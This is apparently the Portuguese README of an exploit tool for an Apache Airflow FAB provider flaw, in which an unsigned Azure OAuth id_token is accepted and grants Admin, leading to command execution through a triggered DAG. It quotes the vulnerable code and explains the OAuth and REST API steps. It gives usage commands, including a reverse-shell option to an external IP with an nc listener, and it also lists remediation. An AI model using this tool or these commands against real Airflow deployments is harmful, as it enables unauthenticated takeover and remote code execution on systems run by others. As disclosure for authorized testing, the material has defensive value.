CVE-2026-59243 — Bypass de Autenticação OAuth no Provider FAB do Apache Airflow → RCE via DAG

Bypass de autenticação no provider auth-manager FAB do Apache Airflow (apache-airflow-providers-fab), levando à execução remota de código por meio de um DAG acionado.

O provider decodifica o id_token OAuth do Azure com a verificação de assinatura desabilitada por padrão (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):

verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

As claims mapeiam diretamente para a identidade — oid → nome de usuário, roles → role_keys — e AUTH_ROLES_MAPPING transforma uma claim roles=["Azure-Admins"] no papel Admin. Como a assinatura/emissor/audiência do token nunca são verificados (CWE-347), um atacante que conclui o fluxo OAuth autentica como Admin sem credenciais reais. Um Admin pode então acionar um DAG que executa comandos arbitrários.

• Afetado: apache-airflow-providers-fab < 3.7.3 (com apache-airflow >= 3.0.2)
• Corrigido: 3.7.3 (padrão alterado para verify_signature=True; token validado contra as JWKS da Microsoft)
• CWE: 347 (Verificação Imprópria de Assinatura Criptográfica)
• Porta padrão: 8080 (UI do Airflow + API REST)
• Impacto: acesso de Admin não autenticado → RCE via tarefa de DAG (como o usuário worker do Airflow)

Requisitos

Apenas a biblioteca padrão do Python 3. O alvo deve ter o auth manager FAB com o provider OAuth Azure vulnerável configurado e (para a etapa de RCE) um DAG cuja tarefa execute dag_run.conf controlado pelo atacante.

Uso

python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

Como funciona

1. Bypass de autenticação — conduza o fluxo OAuth (GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) com um cookie jar. O FAB aceita o id_token não assinado/forjado e faz login como Admin, definindo um cookie session e um cookie _token (o JWT que a API REST espera).
2. RCE — POST /api/v2/dags/<dag>/dagRuns (Bearer _token) com {"conf":{"cmd":"..."}} aciona um DAG cujo BashOperator executa dag_run.conf['cmd']. Use um logical_date único por execução (o par (dag_id, logical_date) é único no banco de dados de metadados).

A ferramenta também reescreve o host de loopback no redirecionamento de authorize do OAuth para o alvo, de modo que funciona contra um alvo remoto cujo IdP é anunciado como 127.0.0.1 na configuração do servidor.

Nota

Isto explora a falha de verificação de token. Para alcançar Admin, o fluxo OAuth precisa produzir um token com uma claim roles elevada — trivial quando o IdP/token pode ser influenciado, já que o Airflow nunca verifica a assinatura. A etapa de RCE pressupõe um DAG que execute dag_run.conf (um padrão comum); caso contrário, o acesso de Admin pode ser aproveitado por meio de outros recursos do Airflow.

Remediação

Atualize o apache-airflow-providers-fab para ≥ 3.7.3; nunca mapeie claims de papéis OAuth afirmados externamente diretamente para Admin; não execute o Airflow como root; mantenha a UI/API fora de redes não confiáveis.

Aviso legal

Somente para testes de segurança autorizados e fins educacionais. Use apenas contra sistemas que você possui ou para os quais tem permissão explícita para testar.